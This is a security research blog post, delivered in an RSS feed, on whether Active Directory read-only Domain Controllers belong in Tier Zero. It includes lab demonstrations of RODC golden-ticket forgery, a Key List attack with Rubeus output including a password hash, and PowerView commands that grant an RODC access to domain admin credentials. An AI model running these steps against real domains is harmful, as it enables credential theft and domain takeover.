Jekyll2023-06-13T14:37:04+00:00https://eladshamir.com/feed.xmlElad ShamirElad ShamirAt the Edge of Tier Zero: The Curious Case of the RODC2023-01-25T00:00:00+00:002023-01-25T00:00:00+00:00https://eladshamir.com/2023/01/25/RODCs<p>The read-only Domain Controller (RODC) is a solution that Microsoft introduced for physical locations that don’t have adequate security to host a Domain Controller but still require directory services for resources in those locations. A branch office is the classic use case.</p>
<p>While RODCs, by definition, are not part of the set of resources that can control “enterprise identities”, known as Tier Zero, we have seen cases where there is a privilege escalation path from an RODC to domain dominance.</p>
<p>In this blog post, we’ll answer the question, “If I compromise a Read-Only Domain Controller, can I compromise the domain?” or, from an architectural perspective, “Do RODCs belong in Tier Zero?”
<!--more--></p>
<h2 id="tldr--its-complicated">Tl;dr — It’s Complicated</h2>
<p>In the context of RODCs, the term “compromise” could mean several things:</p>
<ol>
<li>
<p>Elevated access to the RODC host</p>
</li>
<li>
<p>Credential access to the RODC computer account</p>
</li>
<li>
<p>Control of the RODC computer object in Active Directory</p>
</li>
</ol>
<p>In the case of elevated access to the RODC host (1) or credential access to the RODC computer account (2), there is a path for domain dominance only if the RODC is permitted to “reveal” the credentials of a Tier Zero security principal.</p>
<p>In the case of control of the RODC computer object in Active Directory (3), there is a generalized path to domain dominance.</p>
<p><strong>While the RODC hosts and the credentials for their computer accounts do not belong in Tier Zero, all RODC computer objects must be protected as Tier Zero resources.</strong></p>
<h2 id="intro">Intro</h2>
<p>Microsoft introduced, and since retired, the Enhanced Security Admin Environment (ESAE) architecture as the ideal for securing Active Directory (AD). Part of that architecture was the Administrative Tiering Model, which defined the concept of “Tier Zero” as a set containing the resources that control enterprise identities and their security dependencies. Most crucially, no resources outside of Tier Zero should have any control over anything inside Tier Zero.</p>
<p>RODCs are an alternative for Domain Controllers in less secure physical locations. They maintain a filtered copy of AD, excluding sensitive attributes, such as LAPS passwords, to support LDAP queries, and cache credentials for selected users and computers to support authentication. Typically, an RODC would be allowed to retrieve and cache credentials only for accounts that belong to the same physical location, such as a branch office, and have an equivalent or lower level of physical security.</p>
<p>By definition, Tier Zero resources <em>should</em> not be permitted to operate in less trustworthy locations that require RODCs, and RODCs <em>should</em> not control any Tier Zero resource. <em>Should</em> is the operative word.</p>
<h2 id="how-are-rodcs-managed">How Are RODCs Managed?</h2>
<p>Domain Controllers don’t have local accounts and local groups per se. When a server is promoted to a Domain Controller, AD replaces the local accounts and groups, and the same applies to RODCs. However, if only Tier Zero admins are permitted to manage Domain Controllers, and RODCs aren’t trustworthy enough for Tier Zero admins to log onto them, then how are RODCs managed?</p>
<p>The <em>managedBy</em> attribute does not usually serve any function for an AD object, although it can be used for organizational purposes. However, RODC computer objects are the exception. Any user or group specified in the <em>managedBy</em> attribute of an RODC has local admin access to the RODC server (thanks to <a href="https://twitter.com/ggrillen" target="_blank">Guido Grillenmeier</a> for teaching me that!).</p>
<p><a href="/images/RODCs/ManagedBy.png" target="_blank"><img src="/images/RODCs/ManagedBy.png" alt="managedBy" /></a></p>
<p><strong>If you compromise an account listed in the <em>managedBy</em> attribute of an RODC, you have local admin on the RODC. And if you compromise an account with delegated rights to modify the <em>managedBy</em> attribute of an RODC, you can make yourself an admin.</strong></p>
<h2 id="how-do-rodcs-authenticate-users">How Do RODCs Authenticate Users?</h2>
<p>RODCs need access to the credentials of users and computers to authenticate them locally. Every RODC should have a specific list of principals that it is designated to authenticate and is therefore allowed to retrieve their credentials. This list is stored in the <em>msDS-RevealOnDemandGroup</em> attribute of the RODC’s computer object. The list may contain individual accounts or groups.</p>
<p><a href="/images/RODCs/Allowed.png" target="_blank"><img src="/images/RODCs/Allowed.png" alt="Allowed List" /></a></p>
<p>A similar list of principals for whom the RODC is explicitly denied from retrieving credentials is stored in the <em>msDS-NeverRevealGroup</em> attribute of the RODC. The deny list takes precedence over the allow list, meaning that if a user is listed in both, either directly or via nested groups, the RODC will not be able to retrieve the account’s credentials.</p>
<p><a href="/images/RODCs/Denied.png" target="_blank"><img src="/images/RODCs/Denied.png" alt="Denied List" /></a></p>
<p>After the RODC authenticates a user or computer, it needs to generate a Kerberos ticket-granting-ticket (TGT), but the RODC is not trustworthy enough to have access to the domain’s KRBTGT keys. Instead, when a Windows server is promoted to RODC, AD creates a new, dedicated version of the KRBTGT key. The new RODC will use this key to encrypt and sign the TGTs that it generates. The key is assigned a random key version number (typically five digits), stored in a new AD account named <em>KRBTGT_XXXXX,</em> where <em>XXXXX</em> is the key version number. The key version number is also stored in the <em>msDS-SecondaryKrbTgtNumber</em> attribute of the new KRBTGT account.</p>
<p>The name of the new KRBTGT account is stored in the <em>msDS-KrbTgtLink</em> attribute of the RODC’s computer object, and the name of the RODC computer object is stored in the new KRBTGT account’s <em>msDS-KrbTgtLinkBl</em> (backlink) attribute. The RODC computer account is also granted the right to reset the password of the associated KRBTGT account.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS C:\Users\elad> Get-ADComputer RODC -Properties msDS-KrbTgtLink
DistinguishedName : CN=RODC,CN=Computers,DC=shenanigans,DC=labs
DNSHostName : RODC.shenanigans.labs
Enabled : True
msDS-KrbTgtLink : CN=krbtgt_25078,CN=Users,DC=shenanigans,DC=labs
Name : RODC
ObjectClass : computer
ObjectGUID : 2b81a6b5-926d-438b-8003-cb173ce196d6
SamAccountName : RODC$
SID : S-1-5-21-1437000690-1664695696-1586295871-1110
UserPrincipalName :
PS C:\Users\elad> Get-ADUser krbtgt_25078 -Properties msDS-SecondaryKrbTgtNumber,msDS-KrbTGTLinkBl
DistinguishedName : CN=krbtgt_25078,CN=Users,DC=shenanigans,DC=labs
Enabled : False
GivenName :
msDS-KrbTGTLinkBl : {CN=RODC,CN=Computers,DC=shenanigans,DC=labs}
msDS-SecondaryKrbTgtNumber : 25078
Name : krbtgt_25078
ObjectClass : user
ObjectGUID : bdac311c-60a7-45fc-8997-09cf258570c0
SamAccountName : krbtgt_25078
SID : S-1-5-21-1437000690-1664695696-1586295871-1111
Surname :
UserPrincipalName :
</code></pre></div></div>
<p>Whenever the RODC generates a TGT, it specifies its KRBTGT’s key version number in the ticket’s <em>kvno</em> field to indicate which key was used to encrypt and sign the ticket.</p>
<p><a href="/images/RODCs/WiresharkTGSREQ.png" target="_blank"><img src="/images/RODCs/WiresharkTGSREQ.png" alt="Wireshark TGS-REQ" /></a></p>
<p>A TGT generated by an RODC can be used in TGS-REQs to obtain service tickets from the same RODC or from writable Domain Controllers. When a TGT generated by an RODC is presented to a writable Domain Controller, the Domain Controller only accepts it if the ticket was generated for a principal listed in the RODC’s <em>msDS-RevealOnDemandGroup</em> attribute and not listed in the RODC’s <em>msDS-NeverRevealGroup</em> attribute.</p>
<p>If the criteria above are met, a TGT issued by an RODC can be “upgraded” to a full TGT, encrypted and signed by the domain’s KRBTGT account, by sending a TGS-REQ for the service “KRBTGT.”</p>
<h2 id="rodc-golden-ticket">RODC Golden Ticket</h2>
<p>As Sean Metcalf (<a href="https://twitter.com/PyroTek3" target="_blank">@PyroTek3</a>) noted in his “<a href="https://adsecurity.org/?p=3592" target="_blank">Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory</a>” post, if you have admin access to an RODC, you can dump all the cached credentials from it, including that of its KRBTGT account. Leandro Cuozzo (<a href="https://twitter.com/0xdeaddood" target="_blank">@0xdeaddood</a>) later showed in his post “<a href="https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/" target="_blank">The Kerberos Key List Attack: The return of the Read Only Domain Controllers</a>” that the concept of RODC Golden Tickets is indeed possible, but with some limitations:</p>
<ol>
<li>
<p>You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC’s <em>msDS-RevealOnDemandGroup</em> attribute and not in the RODC’s <em>msDS-NeverRevealGroup</em> attribute</p>
</li>
<li>
<p>When the RODC golden ticket is presented to a writable Domain Controller, the writable DC will regenerate the PAC in the resulting ticket rather than copying from the presented TGT</p>
</li>
</ol>
<p>These limitations mean that an RODC golden ticket cannot be used as a generalized domain privilege escalation technique except in insecurely configured environments that grant the RODC access to Tier Zero principals.</p>
<p>The secret ingredient for making an RODC golden ticket viable is including the correct key version number in the <em>kvno</em> field of the ticket. Joe Dibley recently <a href="https://github.com/GhostPack/Rubeus/pull/147" target="_blank">submitted a Rubeus PR to support it</a>.</p>
<h2 id="key-list-attack">Key List Attack</h2>
<p>Another awesome technique Leandro Cuozzo (<a href="https://twitter.com/0xdeaddood" target="_blank">@0xdeaddood</a>) introduced in his post “ <a href="https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/" target="_blank">The Kerberos Key List Attack: The return of the Read Only Domain Controllers</a>” is the Key List Attack.</p>
<p>In this attack, Leandro obtained NT hashes of the targeted account by abusing the mechanism RODCs use to obtain NT hashes of users to support NTLM authentication locally.</p>
<p>The Key List Attack involves forging an RODC golden ticket and then using it to send a TGS-REQ to a writable Domain Controller for the “KRBTGT” service. The TGS-REQ contains a “Key List Request” (KERB-KEY-LIST-REQ). If the targeted account is in the RODC’s <em>msDS-RevealOnDemandGroup</em> attribute and not in the RODC’s <em>msDS-NeverRevealGroup</em> attribute, the TGS-REP will contain a KERB-KEY-LIST-REP struct with the user’s credentials.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\elad\Desktop>Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:shenanigans.labs /sid:S-1-5-21-1437000690-1664695696-1586295871
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.1
[*] Action: Build TGT
[*] Building PAC
[*] Domain : SHENANIGANS.LABS (SHENANIGANS)
[*] SID : S-1-5-21-1437000690-1664695696-1586295871
[*] UserId : 1136
[*] Groups : 520,512,513,519,518
[*] ServiceKey : EACD894DD0D934E84DE35860CE06A4FAC591CA63C228DDC1C7A0EBBFA64C7545
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : EACD894DD0D934E84DE35860CE06A4FAC591CA63C228DDC1C7A0EBBFA64C7545
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : shenanigans.labs
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'admin@shenanigans.labs'
[*] AuthTime : 1/19/2023 8:05:52 PM
[*] StartTime : 1/19/2023 8:05:52 PM
[*] EndTime : 1/20/2023 6:05:52 AM
[*] RenewTill : 1/26/2023 8:05:52 PM
[*] base64(ticket.kirbi):
doIFgzCCBX+gAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX6ADAgEFoRIbEFNIRU5BTklHQU5TLkxBQlOi
JTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEHNoZW5hbmlnYW5zLmxhYnOjggQbMIIEF6ADAgESoQYCBGH2AACi
ggQGBIIEAmQtAlMThRmkIldRzKT4AUNkKBv2TLSbewfMv3vrou6c148vdv64W0F4qyM3ExltLU30WQjY
2Aa3brxrOWH6ZxfBH9elS73ajmDC4hq/UNExEG7NNKGlPGO+jjqN5TPR0YrUncC5iA6uAvNGk9P9FN9D
aGiqlQYudgbZqKy/FD6mw+33zn1w65YrQAqvXsO932MfMIdYOvybuj3M3sKVoOqavP4HSywdCOITYgFp
1gZ7xpJg75YHx2DQD5qqOMnGSdZjWTTbEIyYEfr50hW+F/kKF3UB3zl2Ob1QEhlcdEJJUFJVulLf0xW4
rLLELTRQM03Br5uXB7oGsCD++frOqcE4386GkZX1qzR3YxoNwYxtemI4e2J6KnLRBppVfPOIbPFyPia8
W2pyN75YMAXnDYSY2qDU0eqWcexBpKYDASqIpdQBm3lucv3JH7Xgw+BihNdUoIBHYkp7LSof08zzmq9R
sVP0LNpxcq97nYjbH3MIR1YyDRRJL1aiss/M9MwBRr7Q7rPahfxMiU9TyBXw1/BDdgJn+aCJ7GT9cj7k
84DpT244+SBAqkF6ea7a2Mx0PZEYzdwVNREy2XjBfJebHJi711S8G9p40luEmWqK+6AI0Bncy71c/EfF
rMb6FFjh2bALyOSLvQHToDOaJd+rcS/MFqu//iGxtX5T3uZOTK2JbTtYHnv2lQABlSgIdY7KogQPtLI5
2hix+nFAMpd1FjWrvXJzAAQ6GGbRRdgqqLcZ90arCQEelnnVBSpY3TPJpEi6F73yJ5NOLM9S/xmWWhLs
7JWUBpTWRVTUK1f0AIjl2K5ZgPwypU7LWiclGmSkXY9rzwM2U7njt5aba45dG/yQDBjxSoJLkQO2UmRZ
O/zcZtw/WYzJbb6QGM5dlgosGkDZXW3wtU9iUF6DD51ylbwXEo8GTXe7UqYICAb1rRFqUPH1vbZd5DgR
AcrgS1AcxsraJxU7AWYhVtcVjK7mFkzAqxT7z+HKrHkFUaTCZNJF03mDuzGHtCr1ImZemR9Gzfi5Da+B
nmfg5SFDLXcHJYThvC3vc8XaNqiMxF6L2gPohuDe3mkyxbTMcUYuR1CII/VOTqbgsHIHlsXVyfuzOBya
8qF60GkNL7B/b6k7rElaAedVnmrrBysi3HR2jxFym8WY5PAtDLg2XZfXGXpg3oFzZTxlWWCU30dey/yw
cQcm+yJTziNi6yoZMPFCoZv48tiz7xuBnRbFLe3IvSZPawAOBWBH3KkY6S7rskxzeB69b9VJGiK69+ir
zgc7aZy0Iq1ShGZLGOuBPhXHz1dl8HdzfRCXwWS1p36LcqhX7tSXs4W3W2xGvxsVGN6f1fkuARntAtJP
uEqOm5scwgFRbrCG/qOCAQIwgf+gAwIBAKKB9wSB9H2B8TCB7qCB6zCB6DCB5aArMCmgAwIBEqEiBCDb
YxfC8WCRfTR6FcgAaA1k04Jkzc2UBu0/2svtNE3EiqESGxBTSEVOQU5JR0FOUy5MQUJTohIwEKADAgEB
oQkwBxsFYWRtaW6jBwMFAEDgAACkERgPMjAyMzAxMTkyMDA1NTJapREYDzIwMjMwMTE5MjAwNTUyWqYR
GA8yMDIzMDEyMDA2MDU1MlqnERgPMjAyMzAxMjYyMDA1NTJaqBIbEFNIRU5BTklHQU5TLkxBQlOpJTAj
oAMCAQKhHDAaGwZrcmJ0Z3QbEHNoZW5hbmlnYW5zLmxhYnM=
C:\Users\elad\Desktop>Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/shenanigans.labs /dc:dc1.shenanigans.labs /ticket:doIFgzCCBX+gAwIBBaEDAgEWooIEazCCBGdhggRjMIIEX6ADAgEFoRIbEFNIRU5BTklHQU5TLkxBQlOiJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEHNoZW5hbmlnYW5zLmxhYnOjggQbMIIEF6ADAgESoQYCBGH2AACiggQGBIIEAmQtAlMThRmkIldRzKT4AUNkKBv2TLSbewfMv3vrou6c148vdv64W0F4qyM3ExltLU30WQjY2Aa3brxrOWH6ZxfBH9elS73ajmDC4hq/UNExEG7NNKGlPGO+jjqN5TPR0YrUncC5iA6uAvNGk9P9FN9DaGiqlQYudgbZqKy/FD6mw+33zn1w65YrQAqvXsO932MfMIdYOvybuj3M3sKVoOqavP4HSywdCOITYgFp1gZ7xpJg75YHx2DQD5qqOMnGSdZjWTTbEIyYEfr50hW+F/kKF3UB3zl2Ob1QEhlcdEJJUFJVulLf0xW4rLLELTRQM03Br5uXB7oGsCD++frOqcE4386GkZX1qzR3YxoNwYxtemI4e2J6KnLRBppVfPOIbPFyPia8W2pyN75YMAXnDYSY2qDU0eqWcexBpKYDASqIpdQBm3lucv3JH7Xgw+BihNdUoIBHYkp7LSof08zzmq9RsVP0LNpxcq97nYjbH3MIR1YyDRRJL1aiss/M9MwBRr7Q7rPahfxMiU9TyBXw1/BDdgJn+aCJ7GT9cj7k84DpT244+SBAqkF6ea7a2Mx0PZEYzdwVNREy2XjBfJebHJi711S8G9p40luEmWqK+6AI0Bncy71c/EfFrMb6FFjh2bALyOSLvQHToDOaJd+rcS/MFqu//iGxtX5T3uZOTK2JbTtYHnv2lQABlSgIdY7KogQPtLI52hix+nFAMpd1FjWrvXJzAAQ6GGbRRdgqqLcZ90arCQEelnnVBSpY3TPJpEi6F73yJ5NOLM9S/xmWWhLs7JWUBpTWRVTUK1f0AIjl2K5ZgPwypU7LWiclGmSkXY9rzwM2U7njt5aba45dG/yQDBjxSoJLkQO2UmRZO/zcZtw/WYzJbb6QGM5dlgosGkDZXW3wtU9iUF6DD51ylbwXEo8GTXe7UqYICAb1rRFqUPH1vbZd5DgRAcrgS1AcxsraJxU7AWYhVtcVjK7mFkzAqxT7z+HKrHkFUaTCZNJF03mDuzGHtCr1ImZemR9Gzfi5Da+Bnmfg5SFDLXcHJYThvC3vc8XaNqiMxF6L2gPohuDe3mkyxbTMcUYuR1CII/VOTqbgsHIHlsXVyfuzOBya8qF60GkNL7B/b6k7rElaAedVnmrrBysi3HR2jxFym8WY5PAtDLg2XZfXGXpg3oFzZTxlWWCU30dey/ywcQcm+yJTziNi6yoZMPFCoZv48tiz7xuBnRbFLe3IvSZPawAOBWBH3KkY6S7rskxzeB69b9VJGiK69+irzgc7aZy0Iq1ShGZLGOuBPhXHz1dl8HdzfRCXwWS1p36LcqhX7tSXs4W3W2xGvxsVGN6f1fkuARntAtJPuEqOm5scwgFRbrCG/qOCAQIwgf+gAwIBAKKB9wSB9H2B8TCB7qCB6zCB6DCB5aArMCmgAwIBEqEiBCDbYxfC8WCRfTR6FcgAaA1k04Jkzc2UBu0/2svtNE3EiqESGxBTSEVOQU5JR0FOUy5MQUJTohIwEKADAgEBoQkwBxsFYWRtaW6jBwMFAEDgAACkERgPMjAyMzAxMTkyMDA1NTJapREYDzIwMjMwMTE5MjAwNTUyWqYRGA8yMDIzMDEyMDA2MDU1MlqnERgPMjAyMzAxMjYyMDA1NTJaqBIbEFNIRU5BTklHQU5TLkxBQlOpJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEHNoZW5hbmlnYW5zLmxhYnM=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.1
[*] Action: Ask TGS
[*] Requesting 'aes256_cts_hmac_sha1' etype for the service ticket
[*] Building KeyList TGS-REQ request for: 'admin'
[*] Using domain controller: dc1.shenanigans.labs (172.31.36.183)
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFbjCCBWqgAwIBBaEDAgEWooIEfTCCBHlhggR1MIIEcaADAgEFoRIbEFNIRU5BTklHQU5TLkxBQlOi
JTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEFNIRU5BTklHQU5TLkxBQlOjggQtMIIEKaADAgESoQMCAQSiggQb
BIIEFw2hcQAF14gFqpXdAdjQknW5bv0LN87JjD645qKh4WYuEnD4TUUf0PBiK626FtWB7NIny0SQgxwu
diYmlLUyPtrlcz3nNMhvW326QqMn9ofSTi5JXqthcs2klOKmdrnF7cDhkDNYvA8KIYRC8+jbSJ69WZEZ
7XV2JpnFazuPbZfdNYPhQIsqvO1EwAado/p1r7MiwJLW8H5wyYJ9aAMUhGiCET/7COBxq9MXpcQKRPJ6
C1WSEg43iwqN8nJa9FINXwjvccHqmejqxysdrZQwC+qh/L+ZMtCUV6lEZHbqRBxzq+Qh3j32A3RDjbrS
D7LidsHwv/7DKXW8OckjckHL3q41Mdomq6hxrKE3iuN4fe3jqGgMOg8epYCfAkeDzTV4/6+u1+B5EfFo
yNHfxRGuM/76Ijn8kzZFrEATilDBxYgqy26JtqYOYsNO7U8cJfwK2lgam1Y03raSgPpegfBVyeqIyjyC
yOH9USe2lLdg7OhavcYPx/6SC0YzvSBweUYmlZ4qbHQJjII8Zs8UyjR2eZx59FkgsUybCDEw9rFk08Z1
991LfxdqkP0d4UhHL2v/WOzTsl/9YFyWehXRKQNA+F/hvJdga9JYIC3AvEklDvwSx8P5KJYRSoeTNwG9
hXZwxll69kHH+Mut+yHDQjbC880r1ot5CJcifAcLP5uoVwlIC2q7MB/k6PIpAohN67H1wRhdVuTdrjr1
vPjVnTGOuO9SGf/MOR+biSipzkPRrAl7wDyHcpHk4Nw1jVfE+GCmNpT5efDjbeN/7v8qt9P9pk6eViOa
zP6mImxx2yftTh9Ml0/zkcEvOhw3CKYXyGDpnEjQqQWk69CsS4TUHqT6js2BH8KNLfHhRBUuUiG8e6TG
LJEzUJJ2aFfQRV0Hn3uBHdejaMusXE1FJp8liqwLRS13WPpErUGWKQWE5qq/BWn25DiY3d7FqCCKgN4c
92NDw123EzsTYDBrYMNuTEBSpCPUv9xlQJ+xeNtPIXZaDSRbzkawtL5KgspETOugIS6bFRoHjIIElzs7
eMr6Vcaf+5PEJwWDJUP2113dLIS/iVJaCYrcEU6LSI17WA7rVhr1T16zMmKqDRkhTL1uJvW9JR+OeXx4
TYleI8WklO7QhU6GWIB6fsQrQO7dwjcAHlDTPMW6Rgz5NjSJR2b5RFUiZMI8ivQ2tA238xxfgAR9DniE
HHwvzlNptudsiv7+5HmeJFp9wNagFAGkckBFxMroYvpujnnhYR2wiZO5a+ok0NNloSVc1k+dG5bZpXx0
Qqg7OnsEE0O/D5eGjBLbxqQ+yRi6OcxfdvFmL3wDQ86m3+Q6DHOkZYKts4wJwpukFWxIfwQmb7NK9wAc
y4ZijCW/lZ5muefT/Mm5sFrrrVnW/26pO6iOFlYUuaOB3DCB2aADAgEAooHRBIHOfYHLMIHIoIHFMIHC
MIG/oCswKaADAgESoSIEINSgTgybGa9AjgfBdIRph5mPO3b59bRee7XIHfKKeuSPoRIbEFNIRU5BTklH
QU5TLkxBQlOiEjAQoAMCAQGhCTAHGwVhZG1pbqMHAwUAACEAAKURGA8yMDIzMDExOTIwMDYzNlqmERgP
MjAyMzAxMjAwNjA1NTJaqBIbEFNIRU5BTklHQU5TLkxBQlOpJTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEFNI
RU5BTklHQU5TLkxBQlM=
ServiceName : krbtgt/SHENANIGANS.LABS
ServiceRealm : SHENANIGANS.LABS
UserName : admin
UserRealm : SHENANIGANS.LABS
StartTime : 1/19/2023 8:06:36 PM
EndTime : 1/20/2023 6:05:52 AM
RenewTill : 1/1/0001 12:00:00 AM
Flags : name_canonicalize, pre_authent
KeyType : aes256_cts_hmac_sha1
Base64(key) : 1KBODJsZr0COB8F0hGmHmY87dvn1tF57tcgd8op65I8=
Password Hash : 64F12CDDAA88057E06A81B54E73B949B
</code></pre></div></div>
<p>One additional point Leandro noted in his post, which I would like to elaborate on, is that the success of the Key List Attack does not depend on the domain’s Denied RODC Password Replication Group and Allowed RODC Password Replication Group. While these groups are added by default to the RODC’s <em>msDS-NeverRevealGroup</em> and <em>msDS-RevealOnDemandGroup</em> attributes, respectively, it is not necessarily the case, and the determining factor for the success of the attack is the current values of these attributes.</p>
<h2 id="degrees-of-pwnage">Degrees of Pwnage</h2>
<p>What does it mean to “compromise” an RODC? We can interpret that in any of the following ways:</p>
<ol>
<li>
<p>Elevated access to the RODC host</p>
</li>
<li>
<p>Credential access to the RODC computer account</p>
</li>
<li>
<p>Control of the RODC computer object in AD</p>
</li>
</ol>
<p>Elevated access to the RODC host (1) and credential access to the RODC computer account (2) are practically equivalent, and effectively provide access to any resource managed by the RODC. If we have elevated access to the host, we can extract the computer account credentials from LSA. And conversely, if we have credential access to the RODC computer account, we can configure <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html" target="_blank">resource-based constrained delegation</a> (RBCD) or <a href="https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab" target="_blank">Shadow Credentials</a>, or avoid configuration changes by <a href="https://attack.mitre.org/techniques/T1558/002/" target="_blank">forging a silver ticket</a> or <a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#solving-a-sensitive-problem" target="_blank">calling S4U2Self</a> to gain elevated access to the host. However, in correctly configured environments, this by itself should not allow the compromise of any resources outside the RODC’s sphere of influence, such as domain admins.</p>
<p>Gaining control of the RODC computer object in AD (3) is a different story. It provides an additional level of compromise and effectively gives access to any resource in the entire domain. It allows not only taking over the RODC host using the same techniques described above or by modifying the <em>managedBy</em> attribute, but <strong>it also allows modifying the RODC’s <em>msDS-NeverRevealGroup</em>, and <em>msDS-RevealOnDemandGroup</em> attributes to include any Tier Zero principal, including domain admins. This then enabled the RODC to obtain credentials for these principals and elevate privileges in the domain.</strong></p>
<h2 id="domain-privilege-escalation">Domain Privilege Escalation</h2>
<p>Even though RODCs do not belong in Tier Zero, if attackers gain control over an RODC computer object, they have a generalized path to domain dominance:</p>
<ul>
<li>
<p>Add a domain admin account to the RODC’s <em>msDS-RevealOnDemandGroup</em> attribute</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> PS C:\Users\elad> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=shenanigans,DC=labs', 'CN=Administrator,CN=Users,DC=shenanigans,DC=labs')}
PS C:\Users\elad> Get-DomainComputer rodc -Properties 'msDS-RevealOnDemandGroup'
msds-revealondemandgroup
------------------------
{CN=Allowed RODC Password Replication Group,CN=Users,DC=shenanigans,DC=labs, CN=Administrator,CN=Users,DC=shenanigans,DC=labs}
</code></pre></div> </div>
</li>
<li>
<p>If necessary, <em>temporarily</em> remove the target account from the RODC’s <em>msDS-NeverRevealGroup attribute</em></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> PS C:\Users\elad> Set-DomainObject -Identity RODC$ -Clear 'msDS-NeverRevealGroup'
</code></pre></div> </div>
</li>
<li>
<p>Gain privileged access to the RODC host to dump its KRBTGT keys by modifying its <em>managedBy</em> attribute or configuring RBCD or Shadow Credentials</p>
</li>
<li>
<p>Forge an RODC TGT for the target account</p>
</li>
<li>
<p>Execute the Key List Attack</p>
</li>
<li>
<p>Clean up by reverting any changes made to RODC’s <em>msDS-RevealOnDemandGroup</em> and <em>msDS-NeverRevealGroup</em> attributes</p>
</li>
</ul>
<p>Controlling the RODC AD object in this context means having one of the following permissions:</p>
<ul>
<li>
<p><em>GenericWrite</em></p>
</li>
<li>
<p><em>GenericAll</em></p>
</li>
<li>
<p><em>WriteDacl</em></p>
</li>
<li>
<p><em>Owns</em></p>
</li>
<li>
<p><em>WriteOwner</em></p>
</li>
<li>
<p><em>WriteProperty</em> access to the <em>msDS-RevealOnDemandGroup</em> attribute in conjunction with another primitive to gain privileged access to the host. <em>WriteProperty</em> access to the <em>msDS-NeverRevealGroup</em> attribute may be required if it includes the target account.</p>
</li>
</ul>
<h2 id="real-world-scenario-1">Real-World Scenario #1</h2>
<p>The provisioning process is when mistakes are often made, which means that misconfigurations are likely to exist for the lifetime of the RODC.</p>
<p>When an organization deploys an RODC at a given location, it will often task the local IT team with building and preparing the server. That IT team would typically not have Tier Zero access (i.e., they are not domain admins), so after the server is provisioned, the Tier Zero team would promote the new server to RODC. After the promotion, in all too many cases, the local IT team will maintain control over the RODC object in the form of ownership of the computer object. Either because the RODC was placed in an OU within that team’s control, or because they were explicitly granted <em>GenericAll</em>/<em>GenericWrite</em> access to the object.</p>
<p><a href="/images/RODCs/Scenario1.png" target="_blank"><img src="/images/RODCs/Scenario1.png" alt="Scenario1" /></a></p>
<p>Therefore, it is common to find attack paths leading to control over an RODC object without first gaining domain dominance.</p>
<h2 id="real-world-scenario-2">Real-World Scenario #2</h2>
<p>Another common scenario is that when an RODC is deployed at a given location, the RODC’s <em>msDS-RevealOnDemandGroup</em> attribute lists an AD group containing all the users in that location. The local IT team for that location has privileged access to the RODC server, granted via the <em>managedBy</em> attribute, and they also have access to manage membership of that group.</p>
<p>As in the previous scenario, the local IT team does not have Tier Zero access. However, they can add highly privileged principals, including domain admins, to that group and potentially retrieve their credentials.</p>
<p><a href="/images/RODCs/Scenario2.png" target="_blank"><img src="/images/RODCs/Scenario2.png" alt="Scenario2" /></a></p>
<p>This attack would work against any account not currently listed in the RODC’s <em>msDS-NeverRevealGroup</em> attribute explicitly or through group membership.</p>
<p>When properly maintained, the <em>Denied RODC Password Replication Group</em> can mitigate the domain privilege escalation path described in this scenario. However, it would not prevent paths to compromising non-Tier Zero accounts above and beyond the local IT team’s intended reach, which would likely introduce indirect paths to domain compromise.</p>
<h2 id="not-so-real-world-scenario">(Not-So)-Real-World Scenario</h2>
<p>A wise man once asked me if there is any scenario in which granting the security principal <em>NT Authority\Self</em> access to an AD object could lead to privilege escalation. Common sense would suggest that it should never be so. However, RODCs are, once again, an exception.</p>
<p>If an RODC has an access control entry (ACE) granting the principal <em>NT Authority\Self</em> <em>GenericAll</em>, <em>GenericWrite</em>, <em>WriteDacl</em>, <em>Owns</em>, or <em>WriteOwner</em> rights, or even just <em>WriteProperty</em> to the <em>msDS-RevealOnDemandGroup</em> attribute (and maybe the <em>msDS-NeverRevealGroup</em> attribute), then compromising an RODC to any degree would open a path to domain dominance. However, this misconfiguration is significantly less likely to occur than in the ones described in the previous scenarios.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The answer to the question we opened with, “Do RODCs belong in Tier Zero?” is that while the RODC hosts and the credentials for their computer accounts do not belong in Tier Zero, <strong>all RODC computer objects must be protected as Tier Zero resources.</strong></p>
<h2 id="prevention">Prevention</h2>
<p>The following configurations and practices can help mitigate the attacks described above:</p>
